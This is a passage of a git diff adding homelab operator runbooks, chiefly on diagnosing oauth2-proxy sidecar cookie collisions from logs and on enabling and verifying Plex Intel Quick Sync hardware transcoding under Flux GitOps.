+   *will* show here. `FluxResourceSuspended` / runbook `flux-suspended` covers it.
+4. **A health check is timing out.** A `wait: true` tier only records `lastAppliedRevision` once its
+   objects pass health checks, so a workload that never goes Ready keeps the tier on the old
+   revision even though the manifests applied fine.
+5. **kube-state-metrics is not publishing the `kube_flux_*` family.** Then the rules are inert and
+   you would get *no* mail at all rather than a stuck one — so this is the cause when the complaint
+   is silence. The metrics come from `customResourceState` plus a read-only RBAC rule for
+   `kustomize.toolkit.fluxcd.io` / `source.toolkit.fluxcd.io`; without that RBAC, KSM emits the set
+   **empty** and logs a forbidden error. Check its logs:
+   ```bash
+   ./infra/devcontainer/dev.sh run bash -c '
+     kubectl --context k3s-prod -n monitoring logs deploy/kube-prometheus-stack-kube-state-metrics \
+       --tail=50 | grep -i "forbidden\|custom.resource" || echo "no RBAC complaints"'
+   ```
+   Note the chart puts **no checksum annotation** over that ConfigMap, so a change to the config
+   alone does not restart the pod — that is why `podAnnotations` carries a
+   `homelab.keithjackson.dev/crs-config-rollout` counter that must be bumped in the same commit.
+
+## When to escalate or stop
+
+- **`FluxRolloutInProgress` alone, cleared within ~15 minutes: do nothing.** That is the feature
+  working. Do not suspend, reconcile or apply anything in response to it.
+- **`FluxRolloutStuck` firing: fix the upstream fault, not this symptom.** This alert names the
+  tier that is behind; it never names the cause. Walk up to the first non-Ready tier and use
+  `flux-reconcile`.
+- **Never `kubectl apply`, `edit` or `patch` the change through by hand.** Flux reconciles `main`;
+  a hand-applied object is drift that the next reconcile reverts or, worse, adopts — and it makes
+  the applied-revision signal these alerts read a lie. `flux reconcile` (an operator action, never
+  an agent's) is the only nudge that is safe, and it only *hurries* the same pull.
+- **Escalate to a revert if a stuck rollout is degrading service.** Reverting the offending commit
+  on `main` through the normal PR flow is the rollback path; see runbook `update-rollback`.
+- **If both alerts are silent during a deploy you know happened,** the notification itself is broken,
+  not the deploy. That is cause 5 above, and it is worth fixing immediately — silence from these
+  rules is indistinguishable from "no deploys happened", which is the exact defect they were
+  written to close.

runbooks/kustomization.yaml

@@ -60,8 +60,12 @@ configMapGenerator:
       - cnpg-exporter=cnpg-exporter.md
       - cnpg-primary-spread=cnpg-primary-spread.md
       - cnpg-wal-growth=cnpg-wal-growth.md
+      # Operator procedure, not alert-linked (Crafty's local login is a second factor behind
+      # the Keycloak gate and its bootstrap password lives only on the PVC).
+      - crafty-admin-credential=crafty-admin-credential.md
       - denied-flows=denied-flows.md
       - flux-reconcile=flux-reconcile.md
+      - flux-rollout=flux-rollout.md
       - flux-suspended=flux-suspended.md
       - image-automation=image-automation.md
       - image-policy-stalled=image-policy-stalled.md
@@ -81,11 +85,22 @@ configMapGenerator:
       - node-io=node-io.md
       - node-memory=node-memory.md
       - node-memory-swap=node-memory-swap.md
+      # Operator procedure, not alert-linked. Reading the per-app oauth2-proxy sidecar log to tell
+      # Keycloak, the sidecar and the app's own login apart. Cookie collision between two sidecars
+      # presents as random session loss in ONE app's log and is only legible with both side by side,
+      # so the page has to be reachable at 3am without going looking for it in git.
+      - oauth2-proxy-session=oauth2-proxy-session.md
       # Operator procedure, not an alert page (no alert links to it — the
       # alert-runbooks-resolvable check treats that as advisory). It is served
       # because the plex.tv claim window is short and is not a thing to go looking
       # for in git: /runbooks/plex-claim has to resolve the moment it is needed.
       - plex-claim=plex-claim.md
+      # Operator procedure, not an alert page, and NO alert is possible for it: plex renders no
+      # metricsEndpoint, so there is no ServiceMonitor, no transcode-mode metric and nothing a rule
+      # could evaluate. Served because the feature it completes is INERT until a human ticks a box in
+      # the Plex UI — the one step GitOps cannot reach — and a page nobody can find is how a shipped
+      # feature stays switched off for months.
+      - plex-quicksync=plex-quicksync.md
       - pvc-capacity=pvc-capacity.md
       - targets-down=targets-down.md
       - update-rollback=update-rollback.md

runbooks/oauth2-proxy-session.md

@@ -0,0 +1,195 @@
+# oauth2-proxy-session — telling the auth layers apart from the sidecar log
+
+**Not alert-driven.** This is an operator procedure for the per-app oauth2-proxy sidecars
+(`jackett`, `pihole`, `qbittorrent`, `radarr`, `sonarr`, `crafty`) and the shared forward-auth
+proxy in namespace `oauth2-proxy`. Use it when a gated UI behaves as though you are signed in and
+signed out at the same time: the page loads, but its buttons and saves quietly do nothing.
+
+> The sidecar log contains **email addresses, session UUIDs and full callback URLs including an
+> OAuth `code`**. Read it, do not paste it. (Repo rule §6: secrets never enter a transcript.)
+
+## What this means here
+
+Every gated app on `home.keithjackson.dev` has **at least two** independent authentications
+stacked on it, and the symptom rarely names the one that refused:
+
+1. **Keycloak** — the `homelab` realm issues the token. Failures here are visible: you see a login
+   form, or an error page from Keycloak's own hostname.
+2. **The oauth2-proxy sidecar** — validates the session cookie and the group claim
+   (`media-users` / `platform-admins`). **This is the layer that fails silently**, and the rest of
+   this page is about reading it.
+3. **The app's own login**, where it has one — Crafty and Radarr/Sonarr each present a local login
+   *behind* the Keycloak gate. See `runbooks/crafty-admin-credential.md` for that layer.
+
+The sidecar's access log distinguishes all three, if you know the four lines to look for. Get it:
+
+    infra/devcontainer/dev.sh run bash -c 'kubectl --context k3s-prod -n jackett logs \
+      -l app.kubernetes.io/name=jackett -c oauth2-proxy --tail=-1'
+
+Substitute the namespace and label for the app you are chasing. Always pass `--context k3s-prod`:
+`dev.sh` merges both clusters and picks a current-context **per invocation**, and that default has
+already changed once. Do not run two `dev.sh` invocations at the same time.
+
+### The four lines, and what each one means
+
+| Log line | What actually happened | Which layer |
+|---|---|---|
+| `[AuthSuccess] Authenticated via OAuth2: Session{... groups:[...]}` | Keycloak issued a token and the proxy accepted it. **The IdP is fine.** | Keycloak ✔ |
+| `[oauthproxy.go:1026] No valid authentication in request. Initiating login.` | **No session cookie was presented at all.** Either you never had one, or something *deleted* it — see below. | sidecar |
+| `[stored_session.go:94] Error loading cookied session: cookie signature not valid, removing session` | A cookie **of the right name** arrived that this proxy **could not decrypt**. Almost always a *different* proxy's cookie. Note `removing session`: this proxy then **deletes** it. | sidecar, cookie collision |
+| an upstream path of `-` instead of `/` in an access-log line | the **proxy answered the request itself**; it never reached the app. Compare `POST - "/api/..."` against `POST / "/api/..."`. | sidecar |
+
+That last column is the one people miss. The upstream field sits between the method and the quoted
+path. `-` means the proxy handled it (a redirect, a 401, its own `/oauth2/*` endpoints); `/` means
+it was proxied to the app. Count them:
+
+    infra/devcontainer/dev.sh run bash -c 'kubectl --context k3s-prod -n jackett logs \
+      -l app.kubernetes.io/name=jackett -c oauth2-proxy --tail=-1 \
+      | grep -v "\"/ping\"" | grep -E " (POST|PUT|DELETE) " | cut -c1-140'
+
+If your writes show `-`, the app never saw them. On 2026-09-30, **4 of the 6 POSTs** in jackett's
+log had `-`.
+
+## First commands
+
+**1. Did Keycloak ever succeed?** No `AuthSuccess` at all means this is not a cookie problem —
+go to `runbooks/keycloak-down.md` or `runbooks/keycloak-client-secrets.md`.
+
+    infra/devcontainer/dev.sh run bash -c 'kubectl --context k3s-prod -n <ns> logs \
+      -l app.kubernetes.io/name=<app> -c oauth2-proxy --tail=-1 | grep -c AuthSuccess'
+
+**2. How long does a session last?** Subtract `created` from `expires` on an `AuthSuccess` line.
+If it is exactly **5m**, the session's lifetime is Keycloak's access-token lifetime and the proxy
+is not refreshing it:
+
+    infra/devcontainer/dev.sh run bash -c 'kubectl --context k3s-prod -n <ns> logs \
+      -l app.kubernetes.io/name=<app> -c oauth2-proxy --tail=-1 \
+      | grep AuthSuccess | tail -1 | grep -o "created:[^ ]* [^ ]*\|expires:[^ ]* [^ ]*"'
+
+The same line says `refresh_token:true` — the proxy is *holding* a refresh token. It will only
+spend it if `--cookie-refresh` is set; the default is `0`, meaning disabled.
+
+**3. Is this a cookie collision?** Two checks, and you want both.
+
+*Names and scopes* — every instance that emits the default name `_oauth2_proxy` on the shared
+`.home.keithjackson.dev` domain is in the collision set with every other one:
+
+    infra/devcontainer/dev.sh run bash -c 'kubectl --context k3s-prod get pods -A -o json \
+      | grep -E "cookie-name|cookie-domain"'
+
+An instance with **no** `--cookie-name` argument is using the default. That is the failure — the
+flag being absent, not wrong.
+
+*The smoking gun* — search **every** proxy, not just the one you are debugging, for the removal
+line, and put the timestamps next to each other:
+
+    infra/devcontainer/dev.sh run bash -c 'for ns in jackett pihole qbittorrent radarr sonarr crafty; do \
+      echo "== $ns"; kubectl --context k3s-prod -n $ns logs -l app.kubernetes.io/name=$ns \
+      -c oauth2-proxy --tail=-1 2>/dev/null | grep stored_session; done'
+
+**4. Do the cookie-secrets actually differ?** They should — but confirm the collision is between
+instances that genuinely cannot read each other. Compare **hashes**, never values:
+
+    infra/devcontainer/dev.sh run bash -c 'for ns in jackett pihole qbittorrent radarr sonarr crafty; do \
+      printf "%s " "$ns"; kubectl --context k3s-prod -n $ns get secret $ns-oauth2-proxy \
+      -o jsonpath="{.data.cookie-secret}" | sha256sum | cut -c1-12; done'
+
+Never print `.data` or `.stringData` itself. A password has been leaked into a transcript here
+before.
+
+### Do not rank apps by their failure ratio
+
+Counting `No valid authentication` against `AuthSuccess` per app looks like a health metric and is
+not one. **It ranks chattiness, not breakage.** An app whose UI polls or holds a WebSocket
+manufactures one failure line per retry, so a single dead cookie in one idle browser tab becomes
+scores of log lines, while an app nobody is using scores zero no matter how broken it is. Measured
+2026-09-30: Radarr showed **156** unauthenticated requests against **1** `AuthSuccess`, but the top
+paths were `/api/v3/command` (62), `/api/v3/queue/details` (46) and `/signalr/messages/negotiate`
+(43) — polling, not 156 user-visible failures.
+
+**Bound the window to the current pod, not to wall-clock.** A ratio measured over 24 h across a pod
+that restarted 13 h ago is mostly about the *previous* configuration, and that is exactly how a
+deployed fix gets written off as ineffective. The pod's own log has an exact boundary — its process
+start — so read it there:
+
+    infra/devcontainer/dev.sh run bash -c 'kubectl --context k3s-prod -n <ns> get pod \
+      -l app.kubernetes.io/name=<app> -o jsonpath="{.items[*].status.startTime}{\"\n\"}"'
+
+then count within that same pod's log. On 2026-09-30 this took Crafty from an apparent 81:1 over 24 h
+to **3 failures in its fixed pod's entire 13 h 52 m life**, two of them `/ws` reconnects.
+
+## Likely causes, most likely first
+
+1. **Cookie collision between two per-app proxies.** Several instances emit the default
+   `_oauth2_proxy` on `.home.keithjackson.dev` with different `cookie-secret`s. Whoever
+   authenticates last overwrites the rest; the losers log `cookie signature not valid, removing
+   session` and — because `removing session` clears the cookie on *their* `--cookie-domain`, which
+   is the whole zone — **delete a session belonging to an app in another namespace**. The victim
+   then logs `No valid authentication` with no cookie at all, seconds after a clean login, while
+   its own `expires` is still minutes away. **Read both logs side by side; one app's log alone
+   makes this look like random session loss.** Fix: a unique `--cookie-name` and a host-scoped
+   `--cookie-domain` on the per-app sidecar. The shared forward-auth proxy keeps the zone-wide
+   scope — cross-host auth is its job.
+2. **Session pinned to a 5-minute access token with no refresh.** `--cookie-refresh` unset means
+   the proxy never spends the refresh token it holds, so the session expires with the access token.
+   Set it to about half the measured token lifetime.
+3. **An XHR got a 302 instead of a 401.** The app's JavaScript follows the redirect invisibly, the
+   live Keycloak SSO session satisfies it without a prompt, and the XHR resolves with **HTML where
+   it expected JSON**. Nothing is logged as an error and the operator is never re-prompted — this
+   is what "it just doesn't save, and reloading doesn't help" looks like. Worse on a write: a
+   browser following a 302 re-issues a POST as a GET and **drops the body**, so the change is
+   discarded silently. oauth2-proxy's built-in AJAX guard only fires on an exact
+   `Accept: application/json`, which most app JavaScript does not send; make it deterministic with
+   `--api-route=<regex>` (**singular** — `--api-routes` does not exist and the proxy refuses to
+   start). Keep browser-navigable paths *out* of the regex so a plain page load still signs you in.
+4. **Group membership.** An `AuthSuccess` followed by `403` is the `--allowed-group` gate, not a
+   session problem. Check the `groups:[...]` field on the `AuthSuccess` line.
+5. **The app's own second login.** Crafty, Radarr and Sonarr each have one. `AuthSuccess` followed
+   by the app's own `/login` page is layer 3, not layer 2.
+
+## When to escalate or stop
+
+- **Stop before you `kubectl edit`/`patch`/`apply` anything.** Flux reconciles `main`; a
+  hand-applied flag is drift that the next reconcile reverts or, worse, adopts. Argument changes
+  go through a branch and a PR. Reading logs is always safe; changing the Deployment is not an
+  agent action.
+- **Do not hand-edit `apps/**/<app>.yaml` — those files are GENERATED.** The five per-app sidecars
+  (jackett, pihole, qbittorrent, radarr, sonarr) get their argument list from one shared function,
+  `_oauth2_sidecar_container()` in `catalog/render.py`; `catalog/<app>.yaml` declares only
+  `auth.mode` and `auth.groups`, and the `auth` schema is `additionalProperties: false`, so there
+  is **no per-app override hook**. A hand-edit to the rendered file is caught by the merge gate's
+  `render-golden` stage ("GOLDEN DRIFT ... does not match the canonical render") and would be
+  erased by the next render anyway. Change the renderer, then regenerate:
+
+      python3 catalog/render.py --all catalog -o apps --wave-layout --no-image-automation
+
+  **Budget for the blast radius**: because the function is shared, any change to it rewrites the
+  sidecar block in **all five** rendered apps, and the gate requires all five be regenerated in
+  the same commit. There is no way to change one app's sidecar arguments alone. Measured
+  2026-09-30. Coordinate before starting — this is a single change, not five.
+- **Crafty is the exception** and is not rendered from the catalog: its sidecar is hand-written in
+  `platform/crafty/deployment.yaml`, so it can be, and was, fixed independently.
+- **You cannot currently alert on any of this**, and that is worth knowing before you promise
+  monitoring. Measured 2026-09-30: no per-app sidecar sets `--metrics-address` and none declares a
+  `metrics` container port, so oauth2-proxy's metrics listener never starts — the only oauth2-proxy
+  series in Prometheus come from the shared proxy in namespace `oauth2-proxy`, which does set both.
+  Until the renderer emits them for the per-app sidecars, every diagnosis on this page is
+  log-reading only.
+- **Validate an argument change before you open the PR**, not after. The pinned image will tell
+  you what it understood, without touching the cluster:
+
+      podman run --rm quay.io/oauth2-proxy/oauth2-proxy:v7.8.1 --help
+
+  Running it with your full proposed argument list prints a `Cookie settings:` line and an
+  `API route - Path:` line back at you, and rejects mutually exclusive flags outright
+  (`--session-cookie-minimal` with `--cookie-refresh`, for one). A flag typo here is a CrashLoop
+  on a service you have just told someone is fixed.
+- **Do not rotate a `cookie-secret` to "clear" a bad session.** It signs every live session out of
+  that app and does nothing about the collision, which is caused by the *names* matching, not the
+  secrets differing.
+- **Escalate to Keycloak** (`runbooks/keycloak-down.md`, `runbooks/keycloak-client-secrets.md`) if
+  there is no `AuthSuccess` in any proxy's log — that is an IdP or client-secret problem and no
+  cookie flag will help.
+- **Hand off rather than guess** if you see `cookie signature not valid` on a proxy that already
+  has a unique `--cookie-name`. That combination should not occur; it means something is writing
+  that name which is not in this inventory. Record what you measured.

runbooks/plex-quicksync.md

@@ -0,0 +1,283 @@
+# plex-quicksync — making Plex actually use Intel Quick Sync, and proving it did
+
+**Alert:** none, and none is possible — see "How to verify" below. This is an **operator procedure**,
+not an incident page. It is indexed here because the feature it completes is **inert until a human
+clicks one button**, and a switched-off feature that looks shipped is exactly what this page exists
+to prevent.
+**Files:** `catalog/plex.yaml` (`hardware.gpu: intel-quicksync`), `apps/wave-0/plex.yaml` (the
+rendered golden — the `dri` hostPath volume and the `/dev/dri` mount), `catalog/render.py` (the
+mechanism), `schemas/renderer-contract.md` `### hardware` (the contract).
+**Related:** `runbooks/plex-claim.md` — the other Plex procedure with a manual last mile.
+
+## What this means here
+
+Plex transcodes in **software** by default. On the UHD Graphics 630 iGPU of an i7-9700T, Quick Sync
+moves that work off the CPU — which matters on a three-node cluster where the CPU is also running
+everything else. Two independent things have to be true before that happens, and **only one of them
+is in git**:
+
+| Half | Who does it | State |
+|---|---|---|
+| The render device is inside the container at `/dev/dri` | **GitOps.** `hardware.gpu: intel-quicksync` in `catalog/plex.yaml` renders a `dri` hostPath volume (`/dev/dri`, `type: DirectoryOrCreate`) and a read-write `/dev/dri` volumeMount on the app container. Flux applies it. | Done by merging that change. |
+| Plex is *told* to use it | **The operator, by hand, in the Plex web UI.** | **NOT done.** `HardwareAcceleratedCodecs` was **absent** from `Preferences.xml` when this page was written — the toggle has never been on. |
+
+**There is no GitOps path to the second half, and that is verified rather than assumed.** A bounded
+grep across the running image's entire init surface — `/etc/cont-init.d`, `/etc/services.d`,
+`/etc/fix-attrs.d`, `/plex-common.sh`, `/usr/local/bin` — found **zero** `PLEX_PREFERENCE*` support.
+Every `setPref` the image performs is one of six hardcoded keys (`MachineIdentifier`,
+`ProcessedMachineIdentifier`, `PlexOnlineToken`, `customConnections`, `allowedNetworks`,
+`TranscoderTempDirectory`), none of them the transcode toggle. No environment variable, no ConfigMap
+and no `postBuild` substitution can set it. So do not go looking for the clever way to automate this;
+there isn't one, and the search has already been done.
+
+What the device mount does **not** do, so nobody reads more into a green gate than is there: it does
+not enable hardware transcoding, it does not prove the device can be *opened* from inside a
+non-privileged pod (see "Likely causes" #2), and it renders no `nodeSelector` — Plex can land on any
+of the three nodes and all three carry the device.
+
+## Running the commands in this runbook
+
+`kubectl` does not work on the operator workstation; the toolchain lives only in the pinned dev
+container. Every command below runs as:
+
+    infra/devcontainer/dev.sh run bash -c 'kubectl --context k3s-prod get nodes'
+
+Always pass `--context k3s-prod` explicitly. `dev.sh` merges both clusters into one kubeconfig and
+picks a current-context **per invocation**, and that default has already changed once. Do not run two
+`dev.sh` invocations at once.
+
+**Never `cat` `Preferences.xml`.** It contains `PlexOnlineToken`, a plex.tv account credential. Every
+read of that file below greps a single named key — do not widen one.
+
+## First commands
+
+**1. Is the device mounted into the pod at all?** (Proves Flux applied the change, not that it works.)
+
+```
+infra/devcontainer/dev.sh run bash -c \
+  'kubectl --context k3s-prod -n plex get pod -l app.kubernetes.io/name=plex \
+     -o jsonpath="{.items[0].spec.containers[0].volumeMounts[*].mountPath}"; echo'
+```
+
+`/dev/dri` in that list ⇒ the GitOps half landed. Absent ⇒ the running pod predates the merge; compare
+
+```
+infra/devcontainer/dev.sh run bash -c \
+  'kubectl --context k3s-prod -n flux-system get kustomization apps-wave-0 \
+     -o jsonpath="{.status.lastAppliedRevision}"; echo'
+```
+
+against the merge commit before blaming anything else.
+
+**2. Is the device actually visible inside the container?**
+
+```
+infra/devcontainer/dev.sh run bash -c \
+  'kubectl --context k3s-prod -n plex exec deploy/plex -- ls -l /dev/dri'
+```
+
+Expect `renderD128` (usually `card0` too), mode `crw-rw----`, group `render`. An **empty directory**
+here is the `DirectoryOrCreate` degradation: the kubelet created an empty `/dev/dri` because the node
+had none. That is the designed-safe outcome — the app tier still reconciles — but it means software
+transcoding, silently. Find which node the pod is on and ask why that node lost its iGPU:
+
+```
+infra/devcontainer/dev.sh run bash -c \
+  'kubectl --context k3s-prod -n plex get pod -l app.kubernetes.io/name=plex -o wide'
+```
+
+**3. Can Plex *open* it?** This is the question the manifest cannot answer — see "Likely causes" #2.
+
+```
+infra/devcontainer/dev.sh run bash -c \
+  'kubectl --context k3s-prod -n plex exec deploy/plex -- \
+     bash -c "exec 3<>/dev/dri/renderD128 && echo RW-OPEN-OK || echo RW-OPEN-DENIED"'
+```
+
+`RW-OPEN-DENIED` (or `Operation not permitted` / `Permission denied`) with the device plainly visible
+in step 2 is the **device-cgroup** failure, not a file-permission failure. The two look identical from
+the outside and are not the same problem.
+
+**4. Is the toggle on?** Named key only — never the whole file:
+
+```
+infra/devcontainer/dev.sh run bash -c \
+  'kubectl --context k3s-prod -n plex exec deploy/plex -- \
+     grep -o "HardwareAcceleratedCodecs=\"[01]\"" \
+     "/config/Library/Application Support/Plex Media Server/Preferences.xml" || echo ABSENT'
+```
+
+`ABSENT` ⇒ never enabled (the state this page was written in). `="0"` ⇒ explicitly off. `="1"` ⇒ on,
+and the remaining question is whether it *works* — go to "How to verify".
+
+## The one manual step
+
+Plex web UI → **Settings → Transcoder → "Use hardware acceleration when available"** → tick → Save.
+(It sits under *Show Advanced*.) A transcode already in flight is unaffected; the next one picks it up.
+
+The underlying preference key is **`HardwareAcceleratedCodecs`**. That name was confirmed by
+extracting strings from the 23 MB `Plex Media Server` binary in the running container — **not** from
+recall and not from a forum post. Real neighbouring keys from the same binary, so you can recognise
+them and not invent them:
+
+| Key | What it is |
+|---|---|
+| `HardwareAcceleratedCodecs` | the toggle this page is about |
+| `HardwareAcceleratedEncoders` | hardware **encode**, as distinct from decode |
+| `HardwareDevicePath` | how Plex is pointed at a *specific* render node — relevant only if a host ever exposes more than one |
+| `TranscoderToneMapping`, `TranscoderToneMappingAgorithm` | HDR→SDR tone mapping. **That misspelling of "Algorithm" is upstream's, in the binary. It is not a typo in this page — do not "fix" it** here or anywhere else; the corrected spelling is not a key Plex reads. |
+| `TranscoderHEVCEncoding` | HEVC output |
+
+**`HardwareAcceleratedCodecsEnableHEVC` does not exist.** It is widely cited and it is not in the
+binary. Recorded explicitly so nobody spends an evening hunting for it or, worse, writes it into
+`Preferences.xml` and concludes hardware transcoding is broken.
+
+Editing `Preferences.xml` by hand is **not** the procedure. It is app state on the replicated Longhorn
+tier, it is in no git commit, and the UI writes the key correctly. Use the UI.
+
+## How to verify — and why there is no alert
+
+Start a playback that **forces a transcode** (a client that cannot direct-play the source, or pick a
+lower quality explicitly), then read Plex's own **Dashboard → Activity**:
+
+- **`Transcode (hw)`** on the session ⇒ hardware transcoding. **This is the proof.**
+- plain **`Transcode`** ⇒ software. The feature is not working, whatever the manifest says.
+
+**That dashboard is the *only* proof available, and nothing else will ever tell you.**
+`catalog/plex.yaml` declares no `metricsEndpoint`, so Plex renders **no ServiceMonitor at all** —
+there is no scrape, no transcode-mode metric, and therefore no alert that could fire. Do not open work
+to "alert on software-transcode fallback": with no metric behind it such a rule would be permanently
+inert, and this repo has already been burned at scale by rules that evaluated against nothing while
+looking like coverage (`runbooks/README.md`, "Alerts you should not trust the silence of"). If that
+gap is ever worth closing, the honest order is a real exporter first and a rule second.
+
+Corroborating, not a substitute — the server log on the config PVC:
+
+```
+infra/devcontainer/dev.sh run bash -c \
+  'kubectl --context k3s-prod -n plex exec deploy/plex -- \
+     sh -c "grep -i -m20 -e hardware -e vaapi -e hwdevice \
+     \"/config/Library/Application Support/Plex Media Server/Logs/Plex Media Server.log\""'
+```
+
+Treat those strings as advisory: they are Plex's, not this repo's, and they move between versions.
+Absence of a match is **not** evidence of software transcoding; a VA-API device open is good evidence
+of hardware. The dashboard remains the verdict.
+
+## Likely causes, most likely first
+
+When the dashboard still says plain `Transcode`:
+
+1. **The toggle is off.** Overwhelmingly the most likely answer, and the reason this page exists.
+   First-command #4 returns `ABSENT` or `="0"`. Remedy: the manual step above. Check this **before**
+   investigating anything technical.
+
+2. **containerd's device cgroup is refusing the `open()` — UNVERIFIED, and the largest remaining
+   technical risk in this feature.** Whether a non-privileged pod may `open()` a bind-mounted
+   character device on this k3s/containerd build **has not been established**; it can only be settled
+   by deploying and trying. The container inits as uid 0, which settles *file* permissions, but
+   **uid 0 does not bypass the cgroup device gate.** Symptom: step 2 shows `renderD128` present and
+   correctly owned, step 3 returns `RW-OPEN-DENIED`.
+   **The documented fallback is the Intel Device Plugin for Kubernetes** (`gpu.intel.com/i915` as a
+   resource request, no hostPath). Because the ServiceDefinition field expresses *intent* rather than
+   a device path, that migration is a **`catalog/render.py` change plus a re-render — with no
+   ServiceDefinition edit anywhere**; `catalog/plex.yaml` keeps saying exactly what it says today.
+   **`privileged: true` is not an available escape hatch:** Kyverno `restrict-host-namespaces` is in
+   **Enforce** mode and rejects it in app namespaces. Do not reach for it.
+
+3. **The pod landed on a node without the device.** Step 2 shows an empty `/dev/dri`. All three prod
+   nodes carried `renderD128` with `i915` bound when this was measured (2026-09-30), so this means a
+   node changed — a rebuild, a BIOS reset, or a driver regression. `DirectoryOrCreate` is why the app
+   tier still came up; the cost is that the loss is silent. **Fix the node, do not tighten the mount:**
+   `Directory` would stall `apps-wave-0` (`wait: true`, with `apps-wave-1` depending on it) for a
+   feature that is not load-bearing.
+
+4. **The image changed under you.** See "The floating-image caveat". A `:latest` pull can remove the
+   mechanism this feature leans on with no commit in this repo.
+
+5. **The session was never transcoding.** Direct Play / Direct Stream never touches the transcoder, so
+   `Transcode (hw)` cannot appear. Confirm the session actually says `Transcode` before treating it as
+   a hardware failure.
+
+6. **The source needs a codec Quick Sync on this generation cannot handle** — e.g. AV1 decode, which
+   Coffee Lake's UHD 630 has no engine for. Plex falls back to software *per stream*. Symptom: some
+   sessions show `(hw)` and others do not. Not a fault.
+
+## The floating-image caveat
+
+Everything this page states about the image's behaviour — the `cont-init.d` hook that adds the app
+user to the device's group, the absence of `PLEX_PREFERENCE*`, the six `setPref` keys, the
+`HardwareAcceleratedCodecs` string — was read from digest **`sha256:e0ab27395614…`**
+(`plexmediaserver 1.43.4.10903`).
+
+The deployment runs **`plexinc/pms-docker:latest` with `imagePullPolicy: Always`**. A silent pull can
+therefore change the behaviour this feature depends on **with no commit in this repo**, while the
+manifest still looks identical. Symptom to watch for: hardware transcoding that worked and quietly
+stopped, with no git change to point at.
+
+```
+infra/devcontainer/dev.sh run bash -c \
+  'kubectl --context k3s-prod -n plex get pod -l app.kubernetes.io/name=plex \
+     -o jsonpath="{.items[0].status.containerStatuses[0].imageID}"; echo'
+```
+
+If that digest is not the one above, **re-verify the hook before trusting this page**:
+
+```
+infra/devcontainer/dev.sh run bash -c \
+  'kubectl --context k3s-prod -n plex exec deploy/plex -- ls /etc/cont-init.d/'
+```
+
+`45-plex-hw-transcode-and-connected-tuner` still present ⇒ the group mechanism is still the one
+described here. Gone or renamed ⇒ stop and re-measure. In particular the "no `supplementalGroups`
+needed" conclusion in `catalog/plex.yaml` and `schemas/renderer-contract.md` is only true while that
+hook exists.
+
+## When to escalate or stop
+
+- **Do not add `supplementalGroups` or a `podSecurityContext` to `catalog/plex.yaml`.** It would be
+  **inert**, and it would mislead the next person. Measured in-container 2026-09-30: the image's
+  `cont-init.d` hook stats each `/dev/dri` char device and `usermod -a -G`s the `plex` user into its
+  group *inside* the container, and the service then execs via `s6-setuidgid plex`, which **replaces**
+  the process group list from `/etc/group` rather than appending — `Plex Media Server` runs with
+  `Groups: 100 1000`, root's gid `0` (which PID 1 does hold) gone. Anything Kubernetes supplies is
+  discarded before Plex starts. `render.py --selftest` asserts that absence deliberately.
+- **Do not reach for `privileged: true`.** Kyverno `restrict-host-namespaces` is Enforce and will
+  reject it. If the cgroup gate is the blocker, the answer is the Intel device plugin (cause #2).
+- **Do not `kubectl edit`/`patch` the Deployment to add or change the device mount.** Flux reconciles
+  `main`; a hand-applied change is drift that the next reconcile reverts or, worse, adopts. Mutating
+  `kubectl` and `flux reconcile` are **operator** actions, and the durable change is a git change
+  through a branch, a PR and a green gate.
+- **Do not edit `Preferences.xml` on the PVC**, never `cat` it, and never `sops -d` anything into a
+  terminal. It holds `PlexOnlineToken`.
+- **Do not delete the `plex-config` PVC to "start clean".** It is the library database, metadata and
+  watch state (`policy: daily-offcluster`). The transcode toggle is one preference, not a reason to
+  lose the DB.
+- **Stop and get the operator** if the device cannot be opened from the pod (cause #2 confirmed). The
+  next step is a platform change — the Intel device plugin — with its own PR, not more poking at this
+  workload.
+
+## Known gaps, deliberately not fixed here
+
+Recorded so they are findable, and so nobody assumes they were overlooked:
+
+- **Transcode scratch is on the wrong medium, and it is invisible.** The image sets
+  `TranscoderTempDirectory=/transcode`, which is **not a volume** — it is the container's writable
+  overlay, i.e. the node's `/data`. That is NVMe on prod-2 but **SATA on prod-1 and prod-3**, so
+  transcode scratch performance changes silently whenever the pod is rescheduled. Both candidate fixes
+  need a **schema** change and are therefore out of scope here: pin Plex to prod-2 (needs a
+  `nodeSelector` field the schema does not have), or give `/transcode` a `medium: Memory` emptyDir and
+  transcode in RAM (~31 GiB per node; needs an emptyDir field the schema does not have). The RAM option
+  is the better one, because it removes the node asymmetry outright instead of working around it.
+- **GuC/HuC firmware is not loaded** (`i915.enable_guc=0`). The cost is low-power H.264 **encode**
+  quality only — decode, and the feature on this page, are unaffected. Changing it needs a kernel
+  parameter and a **serialized rolling reboot**, which is an operator action (CLAUDE.md §5), and this
+  cluster has a documented history of that going badly (a prod node hung on a warm reboot on
+  2026-09-03). Not worth coupling to this change.
+
+---
+Source of truth: `runbooks/plex-quicksync.md`. Index: `/runbooks/`
+The node measurements (all three prod nodes) and the in-container image measurements cited here were
+taken **2026-09-30** against `plexinc/pms-docker` digest `sha256:e0ab27395614…`
+(`plexmediaserver 1.43.4.10903`). Hardware transcoding had **not** been observed working at the time
+of writing, and the Plex-side toggle was still unset.

schemas/README.md

@@ -15,7 +15,7 @@ docs/13 exactly. Do not diverge from it here — escalate spec problems, don't f
 | `servicedefinition.schema.json` | Formal JSON Schema (draft 2020-12) for a ServiceDefinition. Enforces enums, required fields, patterns, and cross-field invariants. |
 | `renderer-contract.md` | Authoritative field → rendered-resource mapping, with requirement IDs. The contract other workstreams consume. |
 
-**Schema version:** 1.0.0 (in the schema `description`). Treat any change as an interface change:
+**Schema version:** 1.8.0 (in the schema `description`, which carries the full per-version changelog — this line had said `1.0.0` since 1.1.0 and is now synced). Treat any change as an interface change:
 propose on the task board, update dependent renderers/tests in the same change, never silently break a
 consumer (coordination-protocol §2).
 
@@ -35,6 +35,9 @@ consumer (coordination-protocol §2).
 - `ingressRoutes[].host` must match `<label>.home.keithjackson.dev`.
 - `storage[].class ∈ {longhorn, bulk}`; `exposure ∈ {internal, public}`; `egress ∈ {internet, vpn}`;
   `auth.mode ∈ {oidc, forward-auth, native, none}`.
+- `hardware.gpu ∈ {intel-quicksync}` — a host **capability class**, never a device path. The enum
+  is the contract: the mechanism that satisfies it lives only in `catalog/render.py` (see
+  `renderer-contract.md` §`hardware`).
 - `additionalProperties: false` everywhere — unknown keys are rejected (catches typos in review/CI).
 
 ## Validate examples against the schema — L1, no cluster (R-TEST-02)

schemas/renderer-contract.md

@@ -23,6 +23,7 @@ platform must render, and cites the requirement each mapping satisfies. Changing
 | `dependencies` | `[]` → reaches **only DNS** (default-deny) | R-NET-01 |
